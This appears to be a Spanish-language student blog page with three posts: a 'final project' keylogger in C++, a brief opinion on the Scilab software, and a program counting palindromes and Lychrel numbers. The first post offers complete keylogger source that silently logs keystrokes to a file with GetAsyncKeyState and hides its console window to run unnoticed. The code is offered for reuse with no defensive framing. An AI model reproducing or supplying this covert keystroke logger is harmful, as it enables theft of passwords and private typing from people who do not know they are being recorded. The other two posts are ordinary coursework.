Proyecto final Keyloger (Diego Nateras, Alberto Rodriguez y Daniel Mejia)

Aqui esta nuestro proyecto final, es un keylogger que nos costo mucho tiempo hacer, sea como sea nos parece que valio la pena. Aqui les dejo el codigo c++. Esperamos le guste.

#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;

void log();
void hider();

int main (){
hider();
log();
return 0;
}

void log(){
char key;
for(;;)
{
//sleep(0);
for(key=8; key <=222; key++)
{
if(GetAsyncKeyState(key)==-32767){
ofstream write (“record.txt”, ios::app);

if((key>64)&&(key<91)&&!(GetAsyncKeyState(0x10)))
{
key+=32;
write << key;
write.close();
break;
}
else if ((key>64)&&(key<91))
{
write << key;
write.close();
break;
}
switch(key){
case 8: write << “<BackSpace>”;
case 27: write << “<ESC>”;
case 127: write << “<DEL>”;
case 32: write << “< >”;
case 13: write << “<Enter>”;

}

}
}
}
}
void hider()
{
HWND stealth;
int ALLocConsole();
stealth=FindWindowA(“ConsoleWindowClass”,NULL);
ShowWindow(stealth,0);
}

WAQ14 Scilab

Scilab es un herramienta muy poderosa y ha tenido tanta fama debido a que es gratis. Es un programa de procesamiento de datos matemáticos con mucho potencial. Este requiere de programación para poder utilizarlo. En lo personal lo he utilizado muy poco, pero hablando con mi maestra de matemáticas  nos comento que aunque tiene mucho poder y que es gratis, Scilab se ve opacado por softwares como R y Matlab, siendo R gratuito y Matlab de paga. Los tres requieren de una programacion muy parecida. Asi que vale la pena aprender a programar en cualquiera de estos 3 softwares ya que va a ser algo que vamos a necesitar durante toda nuestra carrera y vida porfecional como ingenieros.

I got it “Yo soy 196” WSQ11 :)))

Que tal, después de dos días sin dormir conseguí terminar la tarea. Enserio q me costo mucho explicarlo pero lo hice lo mas claro posible que pude. Espero les ayude. Esta es las versión 1.0, aunque funciona como me la pidieron. Se agradecen sus comentarios 🙂

Les recomiendo usar audífonos para que escuchen mejor.

El vídeo esta muy largo pero aquí les dejo el código completo (no se olviden de citar si lo quieren utilizar 😉

#include <iostream>
using namespace std;

int reverse(long num){
long numRev=0;
long sum;
int cont=-1;
do{
sum=num;
numRev=0;
while (num!=0){
numRev= numRev*10+(num%10);
num=num/10;

}
cont++;
num=numRev+sum;
}
while(sum!=numRev && cont!=30);

return cont;

}
int main (){
int uBound, lBound, palandrome, vPalandrome=0, vNonLycherels=0, vLycherels=0;

cout << “Give The lower bound of the sequencen”;
cin >> lBound;
cout << “Give The upper bound of the sequencen”;
cin >> uBound;

for(int z=lBound; z<uBound+1; z++){

reverse(z);
palandrome=reverse(z);
if(palandrome==0){
vPalandrome++;
}
else if (palandrome<30){
vNonLycherels++;
}
else if (palandrome==30){
vLycherels++;
}

}
cout <<“Palandrome”<< vPalandrome <<endl;
cout <<“Non-Lycherels”<< vNonLycherels <<endl;
cout <<“Lycherels”<< vLycherels <<endl;
return 0;
}